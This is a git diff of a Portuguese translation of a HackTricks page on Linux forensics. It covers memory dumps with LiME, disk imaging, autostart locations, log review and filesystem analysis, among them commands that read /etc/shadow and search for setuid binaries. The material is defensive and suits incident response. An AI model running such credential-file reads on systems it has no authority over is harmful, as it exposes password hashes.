-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
-## Coleta de Informações Inicial
+## Coleta Inicial de Informações
### Informações Básicas
-Antes de tudo, é recomendado ter um **USB** com **binários e bibliotecas conhecidos e confiáveis** (você pode simplesmente pegar o Ubuntu e copiar as pastas _/bin_, _/sbin_, _/lib_ e _/lib64_), em seguida, monte o USB e modifique as variáveis de ambiente para usar esses binários:
+Primeiramente, é recomendado ter algum **USB** com **binários e bibliotecas bem conhecidos nele** (você pode simplesmente pegar o ubuntu e copiar as pastas _/bin_, _/sbin_, _/lib,_ e _/lib64_), depois montar o USB e modificar as variáveis de ambiente para usar esses binários:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-Uma vez que você tenha configurado o sistema para usar binários bons e conhecidos, você pode começar a **extrair algumas informações básicas**:
+Uma vez que você configurou o sistema para usar binários bons e conhecidos, você pode começar a **extrair algumas informações básicas**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -47,47 +49,47 @@ cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
-#### Informações suspeitas
+#### Informações Suspeitas
Ao obter as informações básicas, você deve verificar coisas estranhas como:
-* **Processos root** geralmente são executados com PIDs baixos, então se você encontrar um processo root com um PID grande, pode suspeitar
-* Verifique os **logins registrados** de usuários sem um shell dentro de `/etc/passwd`
-* Verifique os **hashes de senha** dentro de `/etc/shadow` para usuários sem um shell
+* **Processos Root** geralmente rodam com PIDs baixos, então se você encontrar um processo root com um PID alto, você pode suspeitar
+* Verifique **logins registrados** de usuários sem um shell dentro de `/etc/passwd`
+* Verifique por **hashes de senha** dentro de `/etc/shadow` para usuários sem um shell
-### Despejo de memória
+### Dump de Memória
-Para obter a memória do sistema em execução, é recomendado usar o [**LiME**](https://github.com/504ensicsLabs/LiME).\
-Para **compilá-lo**, você precisa usar o **mesmo kernel** que a máquina vítima está usando.
+Para obter a memória do sistema em execução, é recomendado usar [**LiME**](https://github.com/504ensicsLabs/LiME).\
+Para **compilar** isso, você precisa usar o **mesmo kernel** que a máquina vítima está usando.
{% hint style="info" %}
Lembre-se de que você **não pode instalar o LiME ou qualquer outra coisa** na máquina vítima, pois isso fará várias alterações nela.
{% endhint %}
-Portanto, se você tiver uma versão idêntica do Ubuntu, pode usar `apt-get install lime-forensics-dkms`\
-Em outros casos, você precisa baixar o [**LiME**](https://github.com/504ensicsLabs/LiME) do GitHub e compilá-lo com os cabeçalhos do kernel corretos. Para **obter os cabeçalhos exatos do kernel** da máquina vítima, você pode simplesmente **copiar o diretório** `/lib/modules/` para sua máquina e, em seguida, **compilar** o LiME usando-os:
+Então, se você tem uma versão idêntica do Ubuntu, você pode usar `apt-get install lime-forensics-dkms`\
+Em outros casos, você precisa baixar [**LiME**](https://github.com/504ensicsLabs/LiME) do github e compilá-lo com os cabeçalhos de kernel corretos. Para **obter os exatos cabeçalhos de kernel** da máquina vítima, você pode simplesmente **copiar o diretório** `/lib/modules/` para a sua máquina, e então **compilar** o LiME usando-os:
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME suporta 3 **formatos**:
-* Raw (todos os segmentos concatenados juntos)
-* Padded (mesmo que raw, mas com zeros nos bits à direita)
+* Raw (todos os segmentos concatenados)
+* Padded (igual ao raw, mas com zeros nos bits à direita)
* Lime (formato recomendado com metadados)
LiME também pode ser usado para **enviar o dump via rede** em vez de armazená-lo no sistema usando algo como: `path=tcp:4444`
-### Imagem do Disco
+### Imagem de Disco
#### Desligando
-Antes de tudo, você precisará **desligar o sistema**. Isso nem sempre é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\
-Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento abrupto**. O primeiro permitirá que os **processos terminem normalmente** e que o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem de "desligamento abrupto" pode causar **alguma perda de informações** (não muitas informações serão perdidas, pois já fizemos uma imagem da memória) e o **malware não terá oportunidade** de fazer nada a respeito. Portanto, se você **suspeitar** que possa haver um **malware**, execute o **comando `sync`** no sistema e desligue abruptamente.
+Primeiramente, você precisará **desligar o sistema**. Nem sempre isso é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\
+Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um desligamento do tipo **"puxar o plugue"**. O primeiro permitirá que os **processos terminem como de costume** e o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem de "puxar o plugue" pode acarretar **alguma perda de informação** (não muita informação será perdida, pois já tiramos uma imagem da memória) e o **malware não terá oportunidade** de fazer nada a respeito. Portanto, se você **suspeita** que possa haver um **malware**, apenas execute o **comando `sync`** no sistema e puxe o plugue.
#### Tirando uma imagem do disco
-É importante observar que, **antes de conectar seu computador a qualquer coisa relacionada ao caso**, você precisa ter certeza de que ele será **montado como somente leitura** para evitar modificar qualquer informação.
+É importante notar que **antes de conectar seu computador a qualquer coisa relacionada ao caso**, você precisa ter certeza de que ele será **montado como somente leitura** para evitar modificar qualquer informação.
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -96,9 +98,9 @@ dd if= of= bs=512
dcfldd if= of= bs=512 hash= hashwindow= hashlog=
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
-### Pré-análise da Imagem do Disco
+### Pré-análise de Imagem de Disco
-Realizando a imagem de um disco sem mais dados.
+Criando uma imagem de disco sem mais dados.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@@ -151,19 +153,19 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Utilize o [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com o auxílio das ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Pesquisar por Malware conhecido
+## Busca por Malware conhecido
-### Arquivos do Sistema Modificados
+### Arquivos de Sistema Modificados
-Alguns sistemas Linux possuem um recurso para **verificar a integridade de muitos componentes instalados**, fornecendo uma maneira eficaz de identificar arquivos incomuns ou fora do lugar. Por exemplo, `rpm -Va` no Linux é projetado para verificar todos os pacotes que foram instalados usando o RedHat Package Manager.
+Alguns sistemas Linux possuem um recurso para **verificar a integridade de muitos componentes instalados**, fornecendo uma maneira eficaz de identificar arquivos incomuns ou fora do lugar. Por exemplo, `rpm -Va` no Linux é projetado para verificar todos os pacotes que foram instalados usando o Gerenciador de Pacotes RedHat.
```bash
#RedHat
rpm -Va
@@ -173,7 +175,7 @@ debsums | grep -v "OK$" #apt-get install debsums
```
### Detectores de Malware/Rootkit
-Leia a seguinte página para aprender sobre ferramentas que podem ser úteis para encontrar malware:
+Leia a página a seguir para aprender sobre ferramentas que podem ser úteis para encontrar malware:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@@ -183,8 +185,8 @@ Leia a seguinte página para aprender sobre ferramentas que podem ser úteis par
### Gerenciador de Pacotes
-Nos sistemas baseados em Debian, o arquivo _**/var/lib/dpkg/status**_ contém detalhes sobre os pacotes instalados e o arquivo _**/var/log/dpkg.log**_ registra informações quando um pacote é instalado.\
-Nos sistemas RedHat e distribuições Linux relacionadas, o comando **`rpm -qa --root=/mntpath/var/lib/rpm`** listará o conteúdo de um banco de dados RPM em um sistema.
+Em sistemas baseados em Debian, o arquivo _**/var/lib/dpkg/status**_ contém detalhes sobre pacotes instalados e o arquivo _**/var/log/dpkg.log**_ registra informações quando um pacote é instalado.\
+Em distribuições Linux relacionadas ao RedHat, o comando **`rpm -qa --root=/mntpath/var/lib/rpm`** listará o conteúdo de um banco de dados RPM em um sistema.
```bash
#Debian
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -194,11 +196,11 @@ rpm -qa --root=/ mntpath/var/lib/rpm
```
### Outros
-** Nem todos os programas instalados serão listados pelos comandos acima ** porque algumas aplicações não estão disponíveis como pacotes para determinados sistemas e devem ser instaladas a partir do código-fonte. Portanto, uma revisão de locais como _**/usr/local**_ e _**/opt**_ pode revelar outras aplicações que foram compiladas e instaladas a partir do código-fonte.
+**Nem todos os programas instalados serão listados pelos comandos acima** porque algumas aplicações não estão disponíveis como pacotes para certos sistemas e devem ser instalados a partir do código-fonte. Portanto, uma revisão de locais como _**/usr/local**_ e _**/opt**_ pode revelar outras aplicações que foram compiladas e instaladas a partir do código-fonte.
```bash
ls /opt /usr/local
```
-Outra boa ideia é **verificar** as **pastas comuns** dentro de **$PATH** em busca de **binários não relacionados** a **pacotes instalados:**
+Outra boa ideia é **verificar** as **pastas comuns** dentro do **$PATH** para **binários não relacionados** a **pacotes instalados:**
```bash
#Both lines are going to print the executables in /sbin non related to installed packages
#Debian
@@ -206,21 +208,23 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found"
#RedHat
find /sbin/ –exec rpm -qf {} \; | grep "is not"
```
-
+```markdown
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
-Obtenha acesso hoje:
+Utilize o [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Recuperar Binários em Execução Excluídos
+## Recuperar Binários Executáveis Deletados
![](<../../.gitbook/assets/image (641).png>)
-## Inspecionar Locais de Inicialização Automática
+## Inspecionar Locais de Autostart
### Tarefas Agendadas
+```
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
@@ -236,7 +240,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
```
### Serviços
-É extremamente comum que malwares se estabeleçam como um novo serviço não autorizado. O Linux possui vários scripts que são usados para iniciar serviços durante a inicialização do computador. O script de inicialização de inicialização _**/etc/inittab**_ chama outros scripts, como rc.sysinit e vários scripts de inicialização no diretório _**/etc/rc.d/**_, ou _**/etc/rc.boot/**_ em algumas versões mais antigas. Em outras versões do Linux, como o Debian, os scripts de inicialização são armazenados no diretório _**/etc/init.d/**_. Além disso, alguns serviços comuns são habilitados em _**/etc/inetd.conf**_ ou _**/etc/xinetd/**_ dependendo da versão do Linux. Investigadores digitais devem inspecionar cada um desses scripts de inicialização em busca de entradas anômalas.
+É extremamente comum que o malware se estabeleça como um novo serviço não autorizado. O Linux possui vários scripts usados para iniciar serviços durante a inicialização do computador. O script de inicialização _**/etc/inittab**_ chama outros scripts como rc.sysinit e vários scripts de inicialização no diretório _**/etc/rc.d/**_, ou _**/etc/rc.boot/**_ em algumas versões mais antigas. Em outras versões do Linux, como o Debian, os scripts de inicialização estão armazenados no diretório _**/etc/init.d/**_. Além disso, alguns serviços comuns são habilitados em _**/etc/inetd.conf**_ ou _**/etc/xinetd/**_ dependendo da versão do Linux. Investigadores digitais devem inspecionar cada um desses scripts de inicialização em busca de entradas anômalas.
* _**/etc/inittab**_
* _**/etc/rc.d/**_
@@ -249,45 +253,45 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
### Módulos do Kernel
-Em sistemas Linux, os módulos do kernel são comumente usados como componentes de rootkit para pacotes de malware. Os módulos do kernel são carregados quando o sistema é inicializado com base nas informações de configuração nos diretórios `/lib/modules/'uname -r'` e `/etc/modprobe.d`, e no arquivo `/etc/modprobe` ou `/etc/modprobe.conf`. Essas áreas devem ser inspecionadas em busca de itens relacionados a malwares.
+Em sistemas Linux, módulos do kernel são comumente usados como componentes de rootkit para pacotes de malware. Módulos do kernel são carregados durante a inicialização do sistema com base nas informações de configuração nos diretórios `/lib/modules/'uname -r'` e `/etc/modprobe.d`, e no arquivo `/etc/modprobe` ou `/etc/modprobe.conf`. Essas áreas devem ser inspecionadas para itens que estejam relacionados a malware.
-### Outros Locais de Inicialização Automática
+### Outros Locais de Autostart
-Existem vários arquivos de configuração que o Linux usa para iniciar automaticamente um executável quando um usuário faz login no sistema, e esses arquivos podem conter vestígios de malwares.
+Existem vários arquivos de configuração que o Linux usa para iniciar automaticamente um executável quando um usuário faz login no sistema que podem conter vestígios de malware.
-* _**/etc/profile.d/\***_, _**/etc/profile**_, _**/etc/bash.bashrc**_ são executados quando qualquer conta de usuário faz login.
-* _**∼/.bashrc**_, _**∼/.bash\_profile**_, _**\~/.profile**_, _**∼/.config/autostart**_ são executados quando o usuário específico faz login.
-* _**/etc/rc.local**_ É tradicionalmente executado após todos os serviços normais do sistema serem iniciados, no final do processo de mudança para um nível de execução multiusuário.
+* _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ são executados quando qualquer conta de usuário faz login.
+* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ são executados quando o usuário específico faz login.
+* _**/etc/rc.local**_ É tradicionalmente executado após todos os serviços normais do sistema serem iniciados, no final do processo de transição para um nível de execução multiusuário.
-## Examinar Logs
+## Examine Logs
-Verifique todos os arquivos de log disponíveis no sistema comprometido em busca de vestígios de execução maliciosa e atividades associadas, como a criação de um novo serviço.
+Procure em todos os arquivos de log disponíveis no sistema comprometido por vestígios de execução maliciosa e atividades associadas, como a criação de um novo serviço.
### Logs Puros
-Eventos de **login** registrados nos logs do sistema e de segurança, incluindo logins via rede, podem revelar que um **malware** ou um **intruso ganhou acesso** a um sistema comprometido por meio de uma determinada conta em um horário específico. Outros eventos em torno do momento de uma infecção por malware podem ser capturados nos logs do sistema, incluindo a **criação** de um **novo** **serviço** ou novas contas próximas ao momento de um incidente.\
-Logins do sistema interessantes:
+Eventos de **Login** registrados nos logs do sistema e de segurança, incluindo logins pela rede, podem revelar que **malware** ou um **intruso ganhou acesso** a um sistema comprometido por meio de uma conta específica em um determinado momento. Outros eventos em torno do tempo de uma infecção por malware podem ser capturados em logs do sistema, incluindo a **criação** de um **novo** **serviço** ou novas contas em torno do tempo de um incidente.\
+Logins de sistema interessantes:
* **/var/log/syslog** (debian) ou **/var/log/messages** (Redhat)
-* Mostra mensagens gerais e informações sobre o sistema. É um registro de dados de todas as atividades em todo o sistema global.
+* Mostra mensagens gerais e informações sobre o sistema. É um registro de dados de toda a atividade em todo o sistema global.
* **/var/log/auth.log** (debian) ou **/var/log/secure** (Redhat)
-* Mantém logs de autenticação para logins bem-sucedidos ou falhos e processos de autenticação. O armazenamento depende do tipo de sistema.
+* Mantém logs de autenticação para logins bem-sucedidos ou falhos, e processos de autenticação. O armazenamento depende do tipo de sistema.
* `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"`
-* **/var/log/boot.log**: mensagens de inicialização e informações de inicialização.
-* **/var/log/maillog** ou **var/log/mail.log**: é para logs do servidor de e-mail, útil para informações sobre serviços relacionados a postfix, smtpd ou e-mail em execução no servidor.
-* **/var/log/kern.log**: mantém logs e informações de aviso do Kernel. Logs de atividade do Kernel (por exemplo, dmesg, kern.log, klog) podem mostrar que um determinado serviço travou repetidamente, indicando potencialmente que uma versão trojanizada instável foi instalada.
-* **/var/log/dmesg**: um repositório para mensagens do driver do dispositivo. Use **dmesg** para ver as mensagens neste arquivo.
-* **/var/log/faillog**: registra informações sobre logins falhos. Portanto, útil para examinar possíveis violações de segurança, como invasões de credenciais de login e ataques de força bruta.
-* **/var/log/cron**: mantém um registro de mensagens relacionadas ao Crond (trabalhos cron). Por exemplo, quando o daemon cron iniciou um trabalho.
-* **/var/log/daemon.log**: acompanha os serviços em execução em segundo plano, mas não os representa graficamente.
-* **/var/log/btmp**: registra todas as tentativas de login falhas.
-* **/var/log/httpd/**: um diretório que contém os arquivos error\_log e access\_log do daemon Apache httpd. Todos os erros encontrados pelo httpd são registrados no arquivo **error\_log**. Pense em problemas de memória e outros erros relacionados ao sistema. **access\_log** registra todas as solicitações recebidas via HTTP.
-* **/var/log/mysqld.log** ou **/var/log/mysql.log**: arquivo de log do MySQL que registra todas as mensagens de depuração, falhas e sucessos, incluindo o início, parada e reinício do daemon mysqld do MySQL. O sistema decide o diretório. Sistemas baseados em RedHat, CentOS, Fedora e outros sistemas baseados em RedHat usam /var/log/mariadb/mariadb.log. No entanto, o Debian/Ubuntu usa o diretório /var/log/mysql/error.log.
+* **/var/log/boot.log**: mensagens de inicialização e informações de boot.
+* **/var/log/maillog** ou **var/log/mail.log:** é para logs do servidor de e-mail, útil para informações de serviços relacionados a e-mail como postfix, smtpd, ou serviços de e-mail em execução no seu servidor.
+* **/var/log/kern.log**: mantém logs do Kernel e informações de aviso. Logs de atividade do Kernel (por exemplo, dmesg, kern.log, klog) podem mostrar que um serviço específico caiu repetidamente, potencialmente indicando que uma versão trojanizada instável foi instalada.
+* **/var/log/dmesg**: um repositório para mensagens de drivers de dispositivos. Use **dmesg** para ver mensagens neste arquivo.
+* **/var/log/faillog:** registra informações sobre logins falhos. Portanto, útil para examinar possíveis violações de segurança como hacks de credenciais de login e ataques de força bruta.
+* **/var/log/cron**: mantém um registro de mensagens relacionadas ao Crond (tarefas cron). Como quando o daemon cron iniciou uma tarefa.
+* **/var/log/daemon.log:** mantém o controle de serviços em segundo plano em execução, mas não os representa graficamente.
+* **/var/log/btmp**: mantém nota de todas as tentativas de login falhas.
+* **/var/log/httpd/**: um diretório contendo arquivos error\_log e access\_log do daemon Apache httpd. Todo erro que o httpd encontra é mantido no arquivo **error\_log**. Pense em problemas de memória e outros erros relacionados ao sistema. **access\_log** registra todas as solicitações que chegam via HTTP.
+* **/var/log/mysqld.log** ou **/var/log/mysql.log**: arquivo de log do MySQL que registra todas as mensagens de debug, falha e sucesso, incluindo início, parada e reinício do daemon MySQL mysqld. O sistema decide o diretório. Sistemas baseados em RedHat, como RedHat, CentOS, Fedora, usam /var/log/mariadb/mariadb.log. No entanto, Debian/Ubuntu usam o diretório /var/log/mysql/error.log.
* **/var/log/xferlog**: mantém sessões de transferência de arquivos FTP. Inclui informações como nomes de arquivos e transferências FTP iniciadas pelo usuário.
-* **/var/log/\***: você sempre deve verificar logs inesperados neste diretório
+* **/var/log/\*** : Você deve sempre verificar se há logs inesperados neste diretório
{% hint style="info" %}
-Logs do sistema Linux e subsistemas de auditoria podem ser desativados ou excluídos em um incidente de invasão ou malware. Como os logs em sistemas Linux geralmente contêm algumas das informações mais úteis sobre atividades maliciosas, os invasores rotineiramente os excluem. Portanto, ao examinar os arquivos de log disponíveis, é importante procurar lacunas ou entradas fora de ordem que possam indicar exclusão ou adulteração.
+Logs do sistema Linux e subsistemas de auditoria podem ser desativados ou excluídos em um incidente de intrusão ou malware. Como os logs em sistemas Linux geralmente contêm algumas das informações mais úteis sobre atividades maliciosas, os intrusos rotineiramente os excluem. Portanto, ao examinar os arquivos de log disponíveis, é importante procurar por lacunas ou entradas fora de ordem que possam ser uma indicação de exclusão ou adulteração.
{% endhint %}
### Histórico de Comandos
@@ -301,29 +305,30 @@ Muitos sistemas Linux são configurados para manter um histórico de comandos pa
### Logins
-Usando o comando `last -Faiwx`, é possível obter a lista de usuários que fizeram login.\
-Recomenda-se verificar se esses logins fazem sentido:
+Usando o comando `last -Faiwx` é possível obter a lista de usuários que fizeram login.\
+É recomendável verificar se esses logins fazem sentido:
* Algum usuário desconhecido?
-* Algum usuário que não deveria ter um shell fez login?
+* Algum usuário que não deveria ter um shell logado?
-Isso é importante, pois **atacantes** às vezes podem copiar `/bin/bash` dentro de `/bin/false`, para que usuários como **lightdm** possam fazer **login**.
+Isso é importante, pois **atacantes** às vezes podem copiar `/bin/bash` dentro de `/bin/false` para que usuários como **lightdm** possam **fazer login**.
Observe que você também pode **verificar essas informações lendo os logs**.
-### Rastros de Aplicativos
-* **SSH**: As conexões com sistemas feitas usando SSH de e para um sistema comprometido resultam em entradas sendo feitas em arquivos para cada conta de usuário (_**∼/.ssh/authorized\_keys**_ e _**∼/.ssh/known\_keys**_). Essas entradas podem revelar o nome do host ou o endereço IP dos hosts remotos.
-* **Gnome Desktop**: As contas de usuário podem ter um arquivo _**∼/.recently-used.xbel**_ que contém informações sobre arquivos que foram acessados recentemente usando aplicativos executados no ambiente de desktop Gnome.
-* **VIM**: As contas de usuário podem ter um arquivo _**∼/.viminfo**_ que contém detalhes sobre o uso do VIM, incluindo histórico de strings de pesquisa e caminhos para arquivos que foram abertos usando o vim.
+### Vestígios de Aplicativos
+
+* **SSH**: Conexões com sistemas feitas usando SSH para e de um sistema comprometido resultam em entradas feitas em arquivos para cada conta de usuário (_**∼/.ssh/authorized\_keys**_ e _**∼/.ssh/known\_keys**_). Essas entradas podem revelar o nome do host ou endereço IP dos hosts remotos.
+* **Gnome Desktop**: Contas de usuário podem ter um arquivo _**∼/.recently-used.xbel**_ que contém informações sobre arquivos que foram acessados recentemente usando aplicativos em execução no desktop Gnome.
+* **VIM**: Contas de usuário podem ter um arquivo _**∼/.viminfo**_ que contém detalhes sobre o uso do VIM, incluindo histórico de strings de pesquisa e caminhos para arquivos que foram abertos usando vim.
* **Open Office**: Arquivos recentes.
-* **MySQL**: As contas de usuário podem ter um arquivo _**∼/.mysql\_history**_ que contém consultas executadas usando o MySQL.
-* **Less**: As contas de usuário podem ter um arquivo _**∼/.lesshst**_ que contém detalhes sobre o uso do less, incluindo histórico de strings de pesquisa e comandos de shell executados via less.
+* **MySQL**: Contas de usuário podem ter um arquivo _**∼/.mysql\_history**_ que contém consultas executadas usando MySQL.
+* **Less**: Contas de usuário podem ter um arquivo _**∼/.lesshst**_ que contém detalhes sobre o uso do less, incluindo histórico de strings de pesquisa e comandos shell executados via less.
-### Registros USB
+### Logs USB
[**usbrip**](https://github.com/snovvcrash/usbrip) é um pequeno software escrito em Python 3 puro que analisa arquivos de log do Linux (`/var/log/syslog*` ou `/var/log/messages*` dependendo da distribuição) para construir tabelas de histórico de eventos USB.
-É interessante **saber todos os dispositivos USB que foram usados** e será mais útil se você tiver uma lista autorizada de dispositivos USB para encontrar "eventos de violação" (o uso de dispositivos USB que não estão nessa lista).
+É interessante **saber todos os USBs que foram usados** e será mais útil se você tiver uma lista autorizada de USBs para encontrar "eventos de violação" (o uso de USBs que não estão dentro dessa lista).
### Instalação
```
@@ -338,43 +343,43 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
-Mais exemplos e informações estão disponíveis no GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+Mais exemplos e informações dentro do github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com o suporte das ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Revisar Contas de Usuário e Atividades de Logon
+## Revisar Contas de Usuários e Atividades de Logon
-Examine os arquivos _**/etc/passwd**_, _**/etc/shadow**_ e os logs de segurança em busca de nomes ou contas incomuns criadas e/ou usadas em proximidade com eventos não autorizados conhecidos. Além disso, verifique possíveis ataques de força bruta ao sudo.\
-Além disso, verifique arquivos como _**/etc/sudoers**_ e _**/etc/groups**_ em busca de privilégios inesperados concedidos aos usuários.\
-Por fim, procure por contas sem senhas ou com senhas facilmente adivinháveis.
+Examine os _**/etc/passwd**_, _**/etc/shadow**_ e **registros de segurança** em busca de nomes incomuns ou contas criadas e/ou utilizadas em proximidade a eventos não autorizados conhecidos. Além disso, verifique possíveis ataques de força bruta ao sudo.\
+Ademais, cheque arquivos como _**/etc/sudoers**_ e _**/etc/groups**_ para privilégios inesperados concedidos a usuários.\
+Por fim, procure por contas com **sem senhas** ou com senhas **facilmente adivinháveis**.
## Examinar o Sistema de Arquivos
-As estruturas de dados do sistema de arquivos podem fornecer quantidades substanciais de **informações** relacionadas a um incidente de **malware**, incluindo o **momento** dos eventos e o **conteúdo** real do **malware**.\
-O **malware** está sendo cada vez mais projetado para **dificultar a análise do sistema de arquivos**. Alguns malwares alteram os carimbos de data e hora em arquivos maliciosos para torná-los mais difíceis de serem encontrados com análise de linha do tempo. Outros códigos maliciosos são projetados para armazenar apenas determinadas informações na memória, a fim de minimizar a quantidade de dados armazenados no sistema de arquivos.\
-Para lidar com essas técnicas antiforenses, é necessário prestar **atenção cuidadosa à análise de linha do tempo** dos carimbos de data e hora do sistema de arquivos e aos arquivos armazenados em locais comuns onde o malware pode ser encontrado.
+Estruturas de dados do sistema de arquivos podem fornecer quantidades substanciais de **informações** relacionadas a um incidente de **malware**, incluindo a **cronologia** dos eventos e o conteúdo real do **malware**.\
+**Malwares** estão sendo cada vez mais projetados para **dificultar a análise do sistema de arquivos**. Alguns malwares alteram carimbos de data e hora em arquivos maliciosos para tornar mais difícil encontrá-los com análise de linha do tempo. Outros códigos maliciosos são projetados para armazenar certas informações apenas na memória, a fim de minimizar a quantidade de dados armazenados no sistema de arquivos.\
+Para lidar com tais técnicas antiforense, é necessário prestar **atenção cuidadosa à análise de linha do tempo** dos carimbos de data e hora do sistema de arquivos e aos arquivos armazenados em locais comuns onde malwares podem ser encontrados.
-* Usando o **autopsy**, você pode ver a linha do tempo dos eventos que podem ser úteis para descobrir atividades suspeitas. Você também pode usar o recurso `mactime` do **Sleuth Kit** diretamente.
-* Verifique a existência de **scripts inesperados** dentro de **$PATH** (talvez alguns scripts sh ou php?)
+* Usando **autopsy**, você pode ver a linha do tempo de eventos que podem ser úteis para descobrir atividades suspeitas. Você também pode usar o recurso `mactime` do **Sleuth Kit** diretamente.
+* Verifique a existência de **scripts inesperados** dentro do **$PATH** (talvez alguns scripts sh ou php?)
* Arquivos em `/dev` costumavam ser arquivos especiais, você pode encontrar arquivos não especiais aqui relacionados a malware.
-* Procure por arquivos e diretórios incomuns ou **ocultos**, como ".. " (ponto ponto espaço) ou "..^G " (ponto ponto control-G)
-* Cópias setuid de /bin/bash no sistema `find / -user root -perm -04000 –print`
-* Analise os carimbos de data e hora dos **inodes excluídos para um grande número de arquivos excluídos ao mesmo tempo**, o que pode indicar atividade maliciosa, como a instalação de um rootkit ou serviço trojanizado.
-* Como os inodes são alocados com base no próximo disponível, **arquivos maliciosos colocados no sistema aproximadamente ao mesmo tempo podem receber inodes consecutivos**. Portanto, depois de localizar um componente de malware, pode ser produtivo inspecionar os inodes vizinhos.
-* Verifique também diretórios como _/bin_ ou _/sbin_, pois a **hora de modificação e/ou alteração** de novos arquivos ou arquivos modificados pode ser interessante.
-* É interessante ver os arquivos e pastas de um diretório **ordenados por data de criação** em vez de ordem alfabética para ver quais arquivos ou pastas são mais recentes (os últimos geralmente).
+* Procure por arquivos e **diretórios ocultos** ou incomuns, como “.. ” (ponto ponto espaço) ou “..^G ” (ponto ponto control-G)
+* Cópias do setuid de /bin/bash no sistema `find / -user root -perm -04000 –print`
+* Reveja os carimbos de data e hora de **inodes deletados para um grande número de arquivos sendo deletados ao mesmo tempo**, o que pode indicar atividade maliciosa como a instalação de um rootkit ou serviço trojanizado.
+* Como inodes são alocados com base no próximo disponível, **arquivos maliciosos colocados no sistema ao mesmo tempo podem ser atribuídos a inodes consecutivos**. Portanto, após localizar um componente do malware, pode ser produtivo inspecionar inodes vizinhos.
